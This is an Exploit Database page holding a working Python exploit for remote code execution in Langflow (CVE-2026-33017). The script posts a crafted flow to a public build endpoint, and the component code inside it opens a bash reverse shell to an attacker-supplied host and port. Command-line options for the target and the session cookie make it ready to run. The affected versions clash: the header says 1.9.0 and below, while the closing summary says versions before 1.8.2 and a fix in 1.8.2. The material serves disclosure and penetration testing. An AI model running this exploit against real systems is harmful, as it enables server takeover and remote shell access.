This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Langflow 1.9.0 - RCE EDB-ID: 52627 CVE: 2026-33017 EDB Verified: Author: DIAMORPHINE Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-07-08 Vulnerable App: # Exploit Title: Langflow 1.9.0 - RCE # Exploit Author: Diamorphine # Vendor Homepage: https://www.langflow.org/ # Software Link: https://www.langflow.org/desktop # Version: < 1.9.0 # Tested on: Debian # CVE : CVE-2026-33017 import asyncio import httpx import argparse from urllib.parse import urljoin async def main(target, flow_id, lhost, lport, client_id): async with httpx.AsyncClient(verify=False) as client: data= { "data": { "nodes": [ { "id": "Exploit-001", "type": "genericNode", "position": {"x": 0, "y": 0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": True, "show": True, "multiline": True, "value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={{}})", "name": "code", "password": False, "advanced": False, "dynamic": False }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": False, "outputs": [ { "types": ["Data"], "selected": "Data", "name": "o", "display_name": "O", "method": "r", "value": "__UNDEFINED__", "cache": True, "allows_loop": False, "tool_mode": False, "hidden": None, "required_inputs": None, "group_outputs": False } ], "field_order": ["code"], "beta": False, "edited": False } } } ], "edges": [] }, "inputs": None } cookies = {"client_id":client_id} url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow") try: r = await client.post(url=url, json=data, cookies=cookies) print(f"[+] Request Request completed with status: {r.status_code}") except httpx.ReadTimeout: print("[+] Shell is done") parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017") parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.") parser.add_argument('-p', '--lport', required=True, help="Attacker local port.") parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/") parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL") parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').") args = parser.parse_args() if __name__ == '__main__': asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id)) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
A critical remote code execution vulnerability (CVE-2026-33017, CVSS 9.8) exists in Langflow where an authenticated attacker can inject and execute arbitrary Python code via a maliciously crafted component node. The vulnerability affects Langflow versions prior to 1.8.2, and the fix is available in version 1.8.2.